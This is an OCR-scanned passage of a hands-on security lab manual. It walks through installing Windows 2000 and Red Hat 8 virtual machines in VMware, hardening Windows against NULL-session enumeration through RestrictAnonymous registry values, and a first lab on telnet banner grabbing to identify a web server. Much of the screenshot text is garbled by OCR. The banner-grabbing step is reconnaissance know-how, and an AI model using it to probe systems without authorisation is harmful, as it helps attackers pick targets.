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9. In order for VMware Tools to complete its configuration, you will need
to restart the virtual machine. Click Yes.

Bl Windows 2000 Professional - ¥YMware Workstation
File | Edit WYew M Team ‘Windows Help
nire @B El®

=~ @Wil“luws 2000 Professional

i YMware Tools |

& ‘fau must restart vour system for the configuration

changes made to YMware Tools to take effect. Click
¥es bo rastart now or No If you plan ko restart later.

el

fstart ||J

A& 3 |J &l¥Mware Tools @ nem

Eomw -

10. Congratulations! You have completed the installation of Windows 2000
Workstation and VMware Tools!

*Note: The biggest change you will immediately notice after installing VMware Tools
is the colors will appear clearer. You may also notice that the virtual machine
window actually becomes larger. Of course, this new virtual machine is not
secure as it has no Windows updates installed on it.

Bl Windows 2000 Professional - ¥Mware Workstation

‘F\\E Edit  Wiew ¥M Team Windows Help

Built on NT Technology

User niame: | Administrator

password: |

oK I Cancel Options >3

Somw ,
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Installing a Red Hat Version 8 Virtual Machine

Follow these steps:

1. From the VMware Workstation starting screen click New Virtual Machine.

S

L

Mew Virtual
Machine

2. This will start the New Virtual Machine Wizard. Click Next.

New ¥irtual Machine Wizard x|

Welcome to the New
Virtual Machine Wizard

Thig vaizard will guide pou through the steps of
creating a new virtual machine.

% Back

Cancel |
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3. Accept the Typical configuration for the virtual machine. Click Next.

Mew ¥irtual Machine Wizard | il

Select the Appropriate Configuration
How would wou prefer to configure your new virtual machine?

r—¥irtual machine configuration

Create a new virtual machine with the mast common devices and caonfiguration
optionz. Thiz virtual machine will not be compatible with Vidware ESx Server
2.4, G5 Server 3.1, ACE 1% or Workstation 4.2

" Custom
Chooze thiz option if pou need to create a virtual machine with additional
devices or specific configuration optiong, or if you need to create a legacy virtual
machine.

< Back I Hewt » I Cancel |

4. Select Linux as the operating system and then select Red Hat Linux
from the list of available operating systems. Click Next.

New ¥irtual Machine Wizard ; |

Select a Guest Dperating System
which operating system will be installed on thiz vitual machineg?

Guest operating spstem:

" Microsoft ‘wWindows
& Linux

= Movell Nefiw/are
= Sun Solaris
 Other

Wersion:

< Back I Mest = I Cancel
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5. Accept the default Virtual machine name and Location. Click Next.

New ¥irtual Machine Wizard x|

Mame the Virtual M achine
what name would vou like to use for this virtual machine?

r—Yirtual machine name
IHed Hat Linus

r— Location
IE:\Dncuments and Settingz\mzpivey\My Documentzihdy Virtual Browse... |

< Back I Mest > I Cancel |

6. Accept the default network type of Use bridged networking. Click Next.

*Note: This is one of the options that makes VMware Workstation interesting in that you
control if your virtual computer gets its own IP address on the network (bridged),
must share the host IP address (INAT), will establish a network between the host
and virtual computer only (host-only), or not have a network connection at all.
A maximum of three virtual network cards can be installed on each virtual
computer with independent settings for each.

New ¥irtual Machine Wizard x|

Hetwork Type
what type of netwark, do pou want to add?

 Mebwork, connection
% sz boged nefworking
Give the guest operating system direct access to an external Ethernet netwark.
The guest must have its own 1P address on the external netwoark,

 Usze network address translation [MAT)
Give the guest operating system access to the host computer's dial-up or
external Ethernet network. connection wsing the host's IP address.

" Lze host-only networking
Connect the guest operating systen to a private virtual netwark, on the host
computer.

" Do not uze a network connection

< Back I Mest = I Cancel
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7. Accept the default virtual Disk size (capacity) of 4.0 (GB). Click Finish.

New Yirtual Machine Wizard x|

Specify Disk Capacity
How large do you want this disk to be?

r— Disk capacity
Thig wirtual disk can never be larger than the masimum capacity that you set here.

Digk zize [GB): e

[ allocate all disk space now.

By allocating the full capacity of the virual dizk, vou enhance performance of
wour wirtual machine. Howewer, the disk will take longer to create and there
must be enough space on the host's physical disk.

If you do not allocate disk space now, vour witual disk files will start small, then
become larger az you add applications, files, and data to your virtual machine.

[ Split disk into 2 GE files

¢ Back I Finizh I Cancel |

8. The VMware Workstation application now has a tab called Red Hat Linux.
9. Click Edit virtual machine settings.

[ start this wirtual maching
H-['_'I Edit wirtual machine settings

'@ Clane this virkual machine

B Red Hat Linux - YMware Workstation o ] 3]

File Edit Wiew YM Team Windows Help

i (51 Red Hat Linux

Red Hat Linux

State: Powered off

Guest 05: Red Hat Linux

Configuration file: :\Documents and Settings|mspivey\My Documents|My ¥irtual Machines|Red Hat Linusxredhat, vmx

Yersion: Current virtual machine For WMware Workstation 5.0.0

Commands Devices

[p start this virtusl machine EBIMemary 256 ME

T Edit virtual machine settings S Hard Disk (TSI (00}

'@-& iZlang this virtual machine %":D'ROM (IDE 1:0) Auto detect
EBEthernet Eridged
QUsE Controller Present
@) Audio Default adapter

Notes

Type here to enter notes for this virtual machine
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10. This is the area where you can make any adjustments you need, such
as increasing the amount of physical RAM on the host computer you
want dedicated to the virtual machine, changing the hard disk size, or
adding other hardware items. Once a virtual computer is running it
must be shut down to change most of these settings. An exception is
disconnecting the CD-ROM or the floppy drive during operation. Once
you have made any adjustments, click OK.

Virtual Machine Settings ;i x|
Device | Summar | Meman
B Mermory 256 MB Speﬁi_fy lh_?hamount of mernory ?ILocated Itto :his fv:{l;aBl
S Hard Disk (5CSL 0:0) machine. The memory size must be a multiple ol L
&ICD'ROM (IDE 1:0) Auto detect Fernony far this virtual machine:
EBEthernet Bridged —
— I— I 255:‘ MB
@USB Controller Prasent ==l
i) audio Default adapter Fay ¥ Fs 1792
& Guest 05 recommended minimum: F2MB
& Recommended memary: 2BEMB
& Maimurn recommended memory: 796MB
[Memary swapping may occur beyand this size)

Add... Eemove |

u]: I Cancel Help

11. Depending on the media you are using you will either insert the Red
Hat Linux version 8 CD 1 or the DVD into the CD-ROM or DVD drive.
Click Start this virtual machine or click the Play button on the
toolbar.

Start this virtual machine

Edit virtual machine settings

B

Clone this virtual machine T )
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12. From the initial boot screen, type linux text and press the Enter key.

=101

@ Red Hat Linux

To install or upgrade Linux in graphical mode,
press the <ENTER> key.

To install or upgrade Linux in text mode, type:
linux text <ENTER>.

Use the function keys listed below for more information.

@Yuu do not have Wiware Tools installed. g E E ﬁ 4

13. The Red Hat Linux installation process begins. Press the Enter key.

Red Hat Linux - ¥Mware Workstation (O] x|

|Fi\e Edit Wiew YM Team ‘Windows Help

{3 Red Hat Linux

inux (C) 2882 Red Hat, Inc.
Red Hat Linux

lelcome to Red Hat Linuxt

This installation process is outlined in detail

in the Official Red Hat Linux Installation Guide
available from Red Hat, Inc. If you have access

to this Manual, you should read the installation
section before continuing.

If you have purchased Official Red Hat Linux, be
sure to register your purchase through our web
site, http://WuW.redhat.coms .

<Tab>#<Alt-Tab> between elements i  <Space> selects i <F12> wext screen

&Vou do not have Y¥Mwate Tools installed, EE E W 4
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14. Select the Language of your choice. Press the Enter key.

Bl Red Hat Linux - ¥Mware Workstation

‘F||E Edit  ¥iew YM Team ‘Windows Help

Language Selection

Hhat language would you like to use
during the installation process?

Chinese(Simplified)
Chinese(Traditional) §
Czech

Danish

Dutch

French

German

Icelandic

{Tab>~<Alt-Tab> between elements i <Space> selects
&\ YYou do not have Whware Tools installed.

<F12> next screen

EEmw 4

15. Select the Keyboard of your choice. Press the Enter key.

Red Hat Linux - ¥Mware Workst.

=101 x|

‘File Edit  Wiew YM  Team ‘Windows Help

Keyboard Selection

Which model keyboard iz attached
to this computer?

sk-querty
slovene
speakup
speakup-1t

<Tab>s<Alt-Tab> between elements i <3Space> selects
&‘Fou do ot have ¥Mmare Tools installed.

<F12> next screen

EEmw -
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16. Select the mouse you are currently using on the host computer. Press
the Tab key until Emulate 3 Buttons? is highlighted. Press the
Spacebar to select, then press the Tab key until OK is highlighted.
Press the Enter key.

Bl Red Hat Linux - ¥Mware Workstation i

ile  Edit  View M  Team ‘Windows Help

House Selection

Which model mouse is attached to this computer?

ALPS - GlidePoint (P5-/2)

ASCIT - MieMouse (PS5/2) g
ASCII - MieMouse (serial) #
ATI - Bus Mouse

Generic - 2 Button Mouse (PS/2)

Generic - 2 Button Mouse (USB)

Generic - 2 Button Mouse (serial)

Generic - 3 Button Mouse (FS-2)
[+] Emulate 3 Buttons?

{Tab><<Alt-Tab> betueen elements i <Space> selects i <F12> wnext screen

A\ You da ot havs Yiwars Tools installed. BEcma

17. Select Workstation as the installation type. Press the Tab key until OK
is highlighted. Press the Enter key.

B Red Hat Linux - ¥Mware Workstation i

‘FI|E Edit View %M Team ‘windows Help

Red Hat Linux (C) 2882 Red Hat, Inc.

Installation Type
What type of system would you like to install?

Personal Desktop

Server

Custom

Upgrade Existing System

<Tab>-<Alt-Tab> between elements | <Space> selects I <F12> next screen
£ You da not have Wiware Tools installed.
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18.  Accept the default of Autopartition. Press the Enter key on Autopartition.

B Red Hat Linux - ¥Mware Workstation i

Edit  Wiew ¥M  Team Windows Help

Disk Partitioning Setup

Automatic Partitioning sets partitions based on the
selected installation type. You also can customize
the partitions once they have been created.

The manual disk partitioning tool, Disk Druid,
allows you to create partitions in an interactive
environment. You can set the file system types,
mount points, partition sizes, and more.

The partitioning tool, fdisk, is a text-based

utility only recommended for advanced users who
need to perform specialized tasks.

S -

{Tab>-/<Alt-Tab> between elements i  <8pace> selects I <F12> next screen

&You do not have YMware Tools installed, EEEW A

19. You may receive a warning that reads “device sda being unreadable.”
Remember as far as the host computer is concerned the virtual machine
is completely separate from the host machine. Therefore, you are
working with a completely “new” virtual hard drive. Press the Enter
key to continue.

EfRed Hat Linux - YMware Workstation i

|Fi|e Edit Wiew WM  Team Windows Help

The partition table on device sda was unreadable.
To create new partitions it must be initialized,
causing the lozz of ALL DATA on this drive.

Would you like to initialize this drive?

{Tab>-<Alt-Tab> between elements I  <Space> selects i <F12> next screen

@Vou do not have YMware Tools installed. QEEI@ VA
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20. Accept the default to have Linux perform Automatic Partitioning to
the new virtual hard drive. Press the Tab key until OK is highlighted.
Press the Enter key.

EfRed Hat Linux - YMware Workstation P =] ]

|Fi|e Edit Wiew WM  Team Windows Help

Bnre |B6deE D

Automatic Partitioning

Before automatic partitioning can be set up by the installation
program, you must choose how to use the space on hard drives.

Remove all Linux Partitions on this system
Remove all partitions on this system

Keep all partitions and use existing free space

Which drive(s) do you want to use for this installation?

{Tab>-<Alt-Tab> between elements I  <Space> selects i <F12> next screen

@Vou do not have YMware Tools installed. QEEW VA

#

21. Press the Tab key to highlight the Yes button. Press the Enter key to
remove all Linux partitions.

Bl Red Hat Linux - YMware Workstation o (] ]

|File Edit  Wiew ¥M  Team Windows Help

Automatic Partitioning

Before autom——— ] Warning |——installation
program, you
You have selected to remove all

M| Linux partitions (and ALL DATA on
Remo| them) on the following drives:

Keep
sdevrssda
Which dri
fire you sure you want to do this?

{Tab>-/<Alt-Tab> between elements i  <8pace> selects I <F12> next screen

&You do not have YMware Tools installed, QEEW A
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22. Accept the default Use GRUB Boot Loader. Press the Tab key to highlight
the OK button. Press the Enter key.

Boot Loader Configuration
Which boot loader would you like to use?
(%) Use G Boot Loader

( ) Use LILD Boot Loader
( ) No Boot Loader

<Tab>~<Alt-Tab> between elements i  <8pace> selects I <F12> next screen

A You do not have Wiware Taols installed. E E E h_’)) 7

23. On the Boot Loader special options screen, press the Tab key to
highlight the OK button. Press the Enter key.

Bl Red Hat ¥Muware Workst. i

File Edit Wiew WM Team windows Help

53 Red Hat Linux
Red Hat Linux (C) ZBBZ Red Hat, Inc.

Boot Loader Configuration

A few systems will need to pass special options to the kernel
at boot time for the system to function properly. If you need
to pass boot options to the kernel, enter them now. If you
don’t need any or aren’t sure, leave this blank.

hdc=ide-scsi

1 Force use of LBA3Z (not normally required)

<Tab>~#<Alt-Tab> between elements i <8pace> selects i <F12> next screen

A\ ¥ou da not have Wiwars Tools installsd. Eomv
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24. Leave the Boot Loader Password blank for this installation. Press the
Tab key to highlight the OK key. Press the Enter key.

*Note: If you decide to use a Boot Loader Password, remember that all of Linux is
case sensitive.

Boot Loader Cownfiguration

A boot loader password prevents users from passing
arbitrary options to the kernel. For highest
security, we recommend setting a password, but this
is not necessary for more casual users.

[ 1 Use a GRUB Password

Boot Loader Password:
Conf irm:

{Tab>~s<Alt-Tab> between elements i <Space> selects i <F12> next screen

/8 ¥ou do not have Wiware Tools installed. o= 1T

25. On the default Boot Partition screen, press the Tab key to highlight
the OK button. Press the Enter key.

Bl Red Hat Linux - ¥Mware Workstation

‘F\\E Edit  Wiew WM Team Windows Help

Boot Loader Cownfiguration

The boot manager Red Hat uses can boot other operating systems
as well. You need to tell me what partitions you would like to
be able to boot and what label you want to use for each of them.

Default Boot label Device
= Red Hat Linux sdevssdaz

<3Space> selects button | <FZ2> select default boot entry i <F1Z> next screen>

A\ You do not have Wiinare Tools nstalld., ox=|-- 1T
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26. On the Boot Loader install location screen, press the Tab key to
highlight the OK button. Press the Enter key.

Bl Red Hat Linux - ¥Mware Yorkstation

‘F\\E Edt Wiew WM Team Windows Help

Boot Loader Configuration
Where do you want to install the boot loader?

devssda Master Boot Record (MBR)
sdevrssdal First sector of boot partition

<Tab>~<Alt-Tab> between elements i  <8pace> selects I <F12> next screen

A You do not have Wiware Taols installed. E E E h_’)) 7

27. On the Network Configuration for eth0 screen you will need to
decide whether to assign a static IP address or obtain an IP from a
DHCP source. In this example, I left the default of dhcp. Press the Tab
key to highlight the OK button. Press the Enter key.

Bl Red Hat Linux - ¥Mware Workstation

‘F\\E Edit  Wiew WM Team ‘Windows Help

Network Configuration for ethB

Network Device: ethB

[#]1 Use hootp-/dhcp

[«] Activate on boot

IP address:

Hetmask:

Default gateway C(IP):
Primary nameserwver:
Secondary nameserwver: ____
Tertiary nameserver:

<Tab>~/<Alt-Tab> between elements i  <Space> selects I <F12> next screen

E=Ew

&Vuu do not have Whware Tools installzd.
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28. On the Firewall Configuration screen, press the Tab key to highlight
No Firewall. Press the Tab key to highlight the OK button. Press the
Enter key on OK.

Bl Red Hat Linux - ¥Mware Workstation 1

‘F\\E Edit  Wiew WM Team ‘Windows Help

Firewall Configuration

A firewall protects against unauthorized network
intrusions. High security blocks all incoming accesses.
Medium blocks access to system services (such as telnet
or printing), but allows other connections. No firewall
allows all conmections and is not recommended.

Security Level: [(NIFT EELTET 3N CEETT LIl

<Tab>~/<Alt-Tab> between elements i  <Space> selects I <F12> next screen

&Vuu do not have Whware Tools installzd. g E E h_))) v

29. On the Language Support screen, press the Tab key to select any
additional languages you need support for. Press the Enter key to
highlight the additional languages. Press the Tab key to highlight the
OK button. Press the Enter key.

8l Red Hat. Linux - ¥Mware Workstation I

‘F\\E Edit  Wiew WM Team ‘Windows Help

Chooze additional languages that you would like
to use on this system:

English (New Zealand)

English (Philippines)

English (Singapore)
(South Africa)

English

English (Zimbabuwe)

Estonian

Faroese (Faroe Islands)

{Tab>~#<Alt-Tab> between elements i <Space> selects i <F12> next screen

A\ You do not have Wiinare Tools nstalld., [on=]-- [T
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30. On the Time Zone Selection screen, press the Tab key and by using
the ARROW or PAGE UP/PAGE DOWN keys locate the appropriate
Time Zone for your installation. Once the correct Time Zone has been
located press the Tab key to highlight the OK key. Press the Enter key.

B Red Hat Linux - ¥Mware Workstation

‘F\\E Edit  Wiew WM Team ‘Windows Help

Time Zone Selection

What time zone are you located in?

[ 1 Hardware clock set to GMT?

S-Central

US/East-Indiana
US-Eastern
US-/Hawaii
US/Indiana-Starke

{Tab>~s<Alt-Tab> between elements i <Space> selects i <F12> next screen

E=mw

/8 ¥ou do not have Wiware Tools installed.

31. On the Root Password screen, enter a root Password (minimum of 6
characters), press the Tab key and reenter the same password. Press
the Tab key to highlight the OK button. Press the Enter key.

*Note: Remember that all of Linux is case sensitive.

Bl Red Hat Linux - ¥Mware Workstation

‘F\\e Edit  Wiew WM Team ‘Windows Help

Root Password

Pick a root password. You must type it
twice to ensure you know what it is and
didn’t make a mistake in typing. Remember
that the root password is a critical part
of system security?

Password:
Password (confirm):

<Tab>~s<Alt-Tab> between elements i  <Space> selects i <F12> next screen

A\ ¥ou do not have Wiwars Tools installsd. Eomv
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32. On the Add User screen, press the Tab key to highlight the OK button.
Press the Enter button.

*Note: Users can be added here but it is a personal preference to add them after the
installation is complete. Remember that all of Linux is case sensitive.

B Red Hat Linux - ¥Mware Workstation

‘F\\E Edit  Wiew WM Team ‘Windows Help

@ s (3 Red Hat Linux
Red Hat Linux (C) 2882 Red Hat, Inc.

You should use a normal user account
for most activities on your system. By
not using the root account casually,
you’'ll reduce the chance of disrupting
your system's configuration.

User Hame
Password
Password (confirm)
Full Hame

<Space> selects i <F12> next screen

E=mw

/8 ¥ou do not have Wiware Tools installed.

33. On the Workstation Defaults screen, press the Tab key until the OK
button is highlighted. Press the Enter key.

Bl Red Hat Linux - ¥Mware Workstation

|F||E Edit  WView ¥M Team Windows Help

{5y Red Hat Linux
Red Hat Linux (C) 2ZBBZ Red Hat, Inc.

1 Workstation Defaults |

The Personal Desktop and Workstation options install a default
set of applications that will allow you to browse the Internet,
send and receive email, and create and edit documents on your
Red Hat Linux system. The Workstation option includes
development and administration tools as well.

However Red Hat Linux ships with many more applications, and you
may customize the selection of software installed if you want.

[ 1 Customize software selection

<Tab>-,<Alt-Tab> between elements i <Space> selects i <F1Z> next screen

A\ You da not have VMisare Toolsinstalled. on=]-- [T
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34. On the Installation to begin screen, press the Tab key to highlight
the OK button. Press the Enter key.

Red Hat Muware Workst. ]

‘F\\e Edit  Wiew WM Team windows Help

5y Red Hat Linux
Red Hat Linux (C) ZBBAZ Red Hat, Inc.

Installation to begin

A complete log of your installation will
be in srootrsinstall.log after rebooting
your system. You may want to keep this
file for later reference.

<Tab>~<Alt-Tab> between elements i <8pace> selects <F12> next screen

A You do not have Whware Tools installed. E E E @ A

35. The installation will now begin.

5l Red Hat ¥Mware Workst. ]

‘F\\e Edit  Wiew WM Team ‘Windows Help

Copying File

Transferring install image to hard drive...

257

<Tab>~s<Alt-Tab> between elements i  <Space> selects i <F12> next screen

A\ ¥ou do not have Wiwars Tools installsd. EEmv
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36. The file installation will take a few minutes.

Red Hat Linux - ¥YMware Workst. i

‘F\\e Edit  Wiew WM Team windows Help

Package Installation

Name
Size
Summary:

: e2fsprogs-1.27-9

: 3488k

Utilities for managing the second extended
(ext2) filesystem.

Time
8:83:15
8:80:28
B:82:55

Butes
1888M

195M
16934

Packages
652
13

Total
Completed:
Remaining:

<Tab>~/<Alt-Tab> between elements i <8pace> selects I <F12> next screen

&\‘uu do not have Yiware Tools installzd,

EEmw ~

37. At the create Boot Disk screen, press the Tab key to highlight the No

button. Press the Enter key.

Red Hat Linux - ¥Mware Workst: )

‘F\\a Edit  Wiew WM Team Windows Help

Boot Disk
The boot disk allows you to boot your Red Hat
Linux system from a floppy diskette. A boot disk
allows you to boot your system if your bootloader
configuration stops working.
It is highly recommended you create a boot disk.

Would you like to create a boot disk?

<Tab>#<Alt-Tab> between elements i <8pace> selects i <Fi1z>

A\ ¥ou da not have Wiwars Tools installsd.

next screen

Eome
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38. At the Video Card Configuration screen, press the Tab key to highlight
the Skip X Configuration button. Press the Enter key.

Bl Red Hat Linux - ¥Mware Yorkstation ;

‘F\\E Edt Wiew WM Team Windows Help

Uideo Card Configuration
Select the video card and video RAM for your system.
Uideo Card: VESA driver (generic)

Uideo RAM: 16384

<Tab>~<Alt-Tab> between elements i  <8pace> selects I <F12> next screen

A You do not have Wiware Taols installed. E E E h_’)) 7

39. At this point Red Hat Linux informs you that you have completed the
installation. However, we will manually configure X. Press the Enter
key on OK.

*Note: The term X Windows refers to a graphical interface for Linux. If you prefer
to work in command-line-only mode you can skip the X Windows config-
uration. Because of the way VMware Workstation operates the VMware Tools
must be installed prior to configuring X Windows for Linux.

windows  Help

Congratulations, your Red Hat Linux installation is complete.

Remove any floppy diskettes you used during the installation
process and press <Enter> to reboot your system.

If you created a boot disk to use to boot your Red Hat Linux

system, insert it before you press <Enter> to reboot.

For information on errata (updates and bug fixes), visit
http://www.redhat.comserrata.

Information on using your system is available in the Red Hat
Linux manuals at http://www.redhat.com/docs.

<Enter> to reboot

/8 ¥ou do not have Wiware Tools installed. o= 1T
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40. The new virtual machine will reboot.

sending terminat signals...done

stmpredad
unmounting filesystems...
smnt/runtime done
dizabling sdevsloopd
sproc/bus-usb done
/proc done
sdevspts done
smnt/sysimagesboot done
smt/sysimagesdevspts done
smntssysimagesproc done
smntszysimage done
rebooting system

&\‘uu do not have Yiware Tools installzd,

Eemw

41. Red Hat Linux version 8 will now boot up. Press the Enter key or wait
10 seconds for automatic booting.

Bl Red Hat Linux - ¥Mware Workstation =10l x|

File Edit Wiew %M Team ‘Windows Help

wre|loanBEalm

FRUBS wersion . 928 GsER lnwer 7 ZEUHS 2RI nppers memnoryD;

Red Hat Linux (2.4.18-14)

e ther = and S Keystor select-which) entcyl s highihghten.
Press enter) to bunt thet selected 05, e fo) elditi the
conmants: before booting, ‘af to) nodify thet Eexnelargunents:
Before boubingy or e S Lorias conmnands Lines

W

dheshghlighted entrysmil1Sbe houtetdSaitonatieal IoSin 2 Seranls,

/8 ¥ou do nat have Whware Tools installed.

Cemw 4
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42. Log in as user root with the password you set back in Step 31.

*Note: Remember that all of Linux is case sensitive.

Red Hat Linux - ¥Mware Workstation =10l x|
File Edit View WM Team ‘Windows Help
njre|oagpoa oB

/A ¥ou da not: have Yiware Tools nstalled. Eomv .

Installing VMware Tools for Red Hat Virtual Machines

VMware Tools allows for better screen resolution, mouse control, drag-and-
drop operations, improved network performance, shared folders support, and
copying and pasting between the host and virtual machine.

*Note: Initially once you are logged into your virtual machine you will find that you
are locked into the virtual machine and you cannot get out to the host
computer. To switch back to the host computer hold down the Ctrl key and
press the Alt key. Then by clicking back into the virtual machine screen the
virtual machine becomes active again.

*Note: You do not use a physical CD when installing VMware Tools. The VMware
Workstation software contains an ISO image that the guest machine interprets
as a physical CD.
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To install VMware Tools, follow these steps:
1. Return to the host machine by holding down the Ctrl key and press

the Alt key. Then from the VMware Workstation menu click VM then
Install VMware Tools

Y Team  “Windows  Help

Power 3
Removable Devices 4

Snapshok k

Lpgrade Yirtual Mackine

Send Chrl+alk+Del
Grab Input Ckrl+i3

Capture Screen. ..
Capture Movie, .,

Clore, ..
Delete From Disk

Settings. .. CkrH-D

2. The VMware Tools installation screen appears. Click Install VMware
Tools.

YK Team Windows Help

Power 4
Removable Devices 4
Snapshat 4

Install Wiware ]

lUpgrade Yirtual Mackin

Send Ctrl+alk+Del
Grab Input CkrHia

Capture Screen..,
Capture Mavie. ..

Clore, ..
Delete From Disk

Settings. .. CrHD




Preparation m 57

3. Click your mouse back inside the virtual machine to make your key-
strokes active within Red Hat Linux and type the following commands:

*Note: Remember that all of Linux is case sensitive.

mount/dev/cdrom/mnt/cdrom
cd/tmp
rpm-Uhv/mnt /cdrom/VMwareTools-5.0.0-13124.i386.rpm

umount /dev/cdrom

Bl Red Hat Linux - YMware Workstation =13l x|

File Edit Wiew WM Team windows Help
LN =R iR REei= = imn] =]
e EEmEm o x

Red Hat Linux release 8.8 (Psyche)
Kernel 2.4.16-14 on an i686

localhost login: root

Password :

Last login: Fri Oct 28 23:35:81 on ttyl

[root@localhost rootl# mount rsdevrscdrom smnt/cdrom

fAttached scsi CD-ROM sr8@ at scsil, channel 8, id 8, lun @

srB: scsid-mmc drive: Ix/1x xa-sformZ cdda tray

mount: block device sdev/cdrom is write-protected., mounting read-only
[root@localhost rootl#t cd stmp

[rootPlocalhost tmpl#t rpm -Uhu smnt/cdrom/UMwareTools-5.8.8-13124.i386.rpm

Preparing. .. SR R R R R R R R R R R R R R R RHE (108821
1:UMwareTools S R R R R R R R R R R R AR R R R R R HHE (18821

[rootPlocalhost tmpl# umount -sdev-/cdrom

[root@localhost tmpl# _

A\ vou da not have Yriware Tools installed.

Eome)

*Note: For the above line “rpm-Uhv/mnt/cdrom/VMwareTools-5.0.0-
Xxxxx.1386.rpm” the “xxxxx” indicates the current version of VMware
Tools you are using. In this case it is 13124.

4. The next command will initiate the actual installation of VMware tools:
./VMware-config-tools.pl.
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5. Accept any default answers to any questions by pressing the Enter
key.

B Red Hat Linux - ¥Mware Workstation =13 x|
Fle Edt View WM Team Windows Help

NEEEEYE ml[=]

Ao PE@Em 00

DMA setup: [ 0K 1
Guest operating system daemon: [ 0K 1

The configuration of UMware Tools 5.8.8 build-131Z24 for Linux for this running
kernel completed successfully.

You must restart your X session before any mouse or graphics changes take
effect.

You can now run UMware Tools by invoking the following command:
"susrsbin/umware-toolbox" during an XFree86 session.

To use the wvmxnet driver, restart networking using the following commands:

~etcsinit.d-network stop
rmmod pcnet32
rmmod uvmxnet

vetcsinit.dsnetwork start
En jouy,
--the UMware team

[root@localhost tmplH# _

Ea@w

6. The installation of VMware Tools is now complete.

7. Type in the following command to Start X:

startx

B Red Hat Linux - YMware Workstation i
File Edt View YM  Team ‘Windows Help

"l Gy Red Hat Linux

a - redhat

Red Hat Linux

VIBRILOTS

S = I
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8. Welcome to the Red Hat Linux Graphical User Interface
(GUI — pronounced gooey).

B Red Hat Linux - ¥Mware Workstation

File Edt ‘view WM Team windaws Help
njre | BopoE|®Bs

(s Red Hat Linux

A4Sl ® umw

(S =110

9. If for any reason Red Hat startx does not start X Windows, type the
following command.

*Note: Remember that all of Linux is case sensitive.

redhat-config-xfree86
or

redhat-config-display

If you are still having difficulties you will need to consult either the owner’s
manual or Red Hat support, or search on the Internet by typing in the exact
error message you are receiving between quotes.

Congratulations! You have successfully installed Red Hat Linux version 9
and VMware Tools!

*Note: The biggest change you will immediately notice after installing VMware Tools
is the colors will appear clearer. You may also notice that the virtual machine
window actually becomes larger. Of course this new virtual machine is not
secure as it has no updates installed on it.
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What Is on the CD?

The first item I wanted to include was a current version of the VMware Workstation
30-day demonstration software. At the time of this writing I am still waiting
on VMware for written approval to include this on the CD. If the software is
not on the CD then I did not receive it in time; however, you can still download
the software from http://www.vinware.com/download/ws.

Otherwise, all the tools freely available from the Internet that are demon-
strated in this book are included on the CD. It will be the reader’s responsibility
to provide the operating systems for the virtual machines they wish to install.

The few applications that require purchase are noted on each lab and the
appropriate Internet address is provided for the reader to download.

Restrict Anonymous

Several of the labs in this manual refer to information being retrieved from a
target because a NULL session has been able to be established to the target.
Countermeasures include restricting anonymous. This applies to Windows
NT, 2000, XP, and 2003 computers only.

Prerequisites:

B Port 139 or 445
B Restrict Anonymous = 0
B Enable File and print sharing

To Restrict Anonymous
In Windows NT

B Run the Registry editor (Regedt32.exe)

B Go to the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\LSA

B On the edit menu, click Add value and use the following entry:
B Value Name: RestrictAnonymous

B Data Type: REG_DWORD
B Value: 1

For Windows XP, 2003

B Run the Registry editor (Regedt32.exe or Regedit.exe)
B Go to the following key in the registry:

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\LSA
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B On the edit menu, click Add value and use the following entries:
B Value Name: RestrictAnonymous
B Data Type: REG_DWORD
B Value: 1

B On the edit menu, click Add value and use the following entries:
B Value Name: RestrictAnonymousSam
B Data Type: REG_DWORD
B Value: 1

B On the edit menu, click Add value and use the following entries:
B Value Name: EveryonelncludesAnonymous
B Data Type: REG_DWORD
B Value: 0

For Windows 2000

B Run the Registry editor (Regedt32.exe or Regedit.exe)
B Go to the following key in the registry:

HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\LSA

B On the edit menu, click Add value and use the following entries:
B Value Name: RestrictAnonymous
B Data Type: REG_DWORD
B Value: 2

What Is the Difference?

Windows NT, XP, 2000, and 2003 all allow a NULL session to be established
by default. The reason behind this is because in a trusted network environment
each operating system will be able to identify each other’s shared resources
and any peripherals that may be attached. This is done by using the Inter
Process Communication share (IPC$) and some network configurations
require this ability, as in a heterogeneous network.

The default setting of RestrictAnonymous for Windows NT and 2000 is a
value of 0. When NT and Windows 2000 RestrictAnonymous is set to a value
of 1, a NULL session can still be made, but much of the user enumeration
data is restricted. Setting the RestrictAnonymous value to 2 prevents a NULL
session from occurring.

For maximum security a value of 2 should be used on Windows 2000 and
a value of 1 for Windows NT; however, some connection problems may occur
in a heterogeneous network if a Windows 2000 domain must share its
resources with non-2000 clients. In this case these clients will be unable to
connect to the domain and will effectively be denied access to its resources.
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For Windows XP and 2003 the default RestrictAnonymous setting is 0. In
addition Windows XP and 2003 have the settings of RestrictAnonymousSam,
with a default value of 1, and EveryonelncludesAnonymous, with a default
value of 0.

The only valid option for Windows XP and 2003 for RestrictAnonymous
is either 0 or 1. Setting the RestrictAnonymous value to 0 will allow NULL
sessions to enumerate shares. Setting the RestrictAnonymous value to 1 will
limit access to the shared information.

Setting the RestrictAnonymousSam value to 0 will allow the enumeration
of user accounts. Changing the RestrictAnonymousSam value to 1 will prevent
the enumeration of local SAM accounts.

Setting the EveryonelncludesAnonymous to a value of 0 will ensure NULL
sessions have no special rights. Setting the EveryonelncludesAnonymous to
a value of 1 will give NULL sessions access to the Everyone group, including
any right set to that group.

For maximum security of Windows XP and 2003 the following settings
should be used:

B RestrictAnonymous = 1
B RestrictAnonymousSam = 1
B EveryonelncludesAnonymous = 0

These settings will allow a NULL session to occur and provide access to
shared resources to a trusted user but deny enumeration of other user
information.

Now on to the labs!
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Banner ldentification
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Lab 1: Banner ldentification

Banner Grabbing: TELNET
Prerequisites: None

Countermeasures: Uninstall/disable unnecessary services, SSH, VPN,

IPSEC, banner alteration.

Description: The Telnet application normally uses port 23 but can be
used to obtain specific banner information from other running services
by connecting to other ports on the target. An attacker uses this infor-
mation to launch appropriate attacks for the results obtained. Remem-
ber that all Linux commands are case sensitive.

Procedure: From a DOS prompt or Linux shell, type the following with

the syntax of:

telnet (IP Address or Name) (Port #)

. Command Prompt

IC:“Documents and Settings“mspivey>telnet www.spiveytech.com 88_

In this example, the Telnet application is attempting to connect to port 80,
the standard HTTP (Web) port. The results show that IIS 5.0 is being used by

the target.

=+ Command Prompt ‘ i

HTTP~1.1 488 Bad Reguest

Server: Microsoft—1IS.5.8

Date: Sat,. A7 Oct 2804 B4:25:08 GMT
Content-Type: textshtml
iContent—Length: 87

